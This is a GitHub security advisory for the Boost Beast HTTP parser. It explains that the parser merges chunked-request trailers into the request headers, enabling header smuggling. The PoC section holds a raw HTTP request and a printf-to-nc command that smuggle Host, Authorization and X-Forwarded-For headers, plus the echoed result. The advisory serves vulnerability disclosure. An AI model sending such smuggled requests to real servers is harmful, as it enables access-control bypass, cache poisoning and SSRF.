Skip to content

HTTP Header smuggling

Moderate
ashtum published GHSA-8c6g-xf48-2fvx May 19, 2026

Package

beast

Affected versions

<= 1.89.0

Patched versions

None

Description

Summary

Beast merges HTTP trailer fields into the request headers after the processing of chunked encoded requests, creating a security vulnerability that enables header smuggling attacks.

Impact

This design flaw can be exploited to achieve various attacks such as:

  • Host header manipulation - the host header can be manipulated through trailer injection, potentially enabling vulnerabilities such password reset poisoning or SSRF.
  • Access Control/Authorization Bypass - proxy forwarding headers (X-Forwarded-For, X-Real-IP, X-Forwarded-Host, ...) can be smuggled to bypass IP-based access controls, authentication mechanisms, and rate limiting.
  • Cache Poisoning - headers smuggled through trailers can poison cached responses under legitimate cache keys, causing the cache to serve malicious content to subsequent users requesting the same resource.

Details

For any incoming request, the parser calls parse_fields for trailer fields:

template<bool isRequest> std::size_t basic_parser<isRequest>::put(net::const_buffer buffer, error_code& ec) {
    auto p = static_cast<char const*>(buffer.data());
    auto n = buffer.size();
    ec = {};
    // ...
    case state::trailer_fields:
        parse_fields(p, n, ec);
        if(ec)
            goto done;
        state_ = state::complete;
        this->on_finish_impl(ec);
        goto done;
    // ...
}

The program then proceeds by calling parse_fields, which in turn calls inner_parse_fields:

template<bool isRequest> void basic_parser<isRequest>::parse_fields(char const*& in, std::size_t n, error_code& ec) {
    auto const p0 = in;
    inner_parse_fields(in, in + (std::min<std::size_t>)
    // ...
}

template<bool isRequest> void basic_parser<isRequest>::inner_parse_fields(char const*& in, char const* last, error_code& ec) {
    string_view name;
    string_view value;
    beast::detail::char_buffer<max_obs_fold> buf;
    auto p = in;
    for(;;)
    {
        // ...
        auto const f = string_to_field(name);
        do_field(f, value, ec);
        if(ec)
            return;
        this->on_field_impl(f, name, value, ec); //!
        if(ec)
            return;
        in = p;
    }
}

The vulnerability occurs in the on_field_impl method, which directly inserts trailer fields into the request headers:

void on_field_impl(
    field name,
    string_view name_string,
    string_view value,
    error_code& ec) override 
{
    m_.insert(name, name_string, value, ec); // <- the trailer field is inserted into the request headers
}

This behavior violates RFC7230 section 4.1.2.

PoC

  1. Start a server that echoes back the received request
  2. Send the following request:
GET / HTTP/1.1
Host: boost
Transfer-Encoding: chunked

0
Host: internal.local
Content-Type: malicious/content
Cookie: any
Set-Cookie: any
X-Forwarded-For: attacker.com
Authorization: any
X-Real-Ip: 1.1.1.1

You can do that with the following command:

printf 'POST / HTTP/1.1\r\nHost: boost\r\nTransfer-Encoding: chunked\r\n\r\n0\r\nHost: internal.local\r\nContent-Type: malicious/content\r\nCookie: any\r\nSet-Cookie: any\r\nX-Forwarded-For: attacker.com\r\nAuthorization: any\r\nX-Real-Ip: 1.1.1.1\r\n\r\n' | nc -v 127.0.0.1 80
  1. In output you'll se that all the trailers have been merged into the request headers:
HTTP/1.1 200 OK
Server: boost-beast
Content-Type: text/plain
Content-Length: 230

POST / HTTP/1.1
Host: boost
Host: internal.local
Transfer-Encoding: chunked
Content-Type: malicious/content
Cookie: any
Set-Cookie: any
X-Forwarded-For: attacker.com
Authorization: any
X-Real-Ip: 1.1.1.1

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits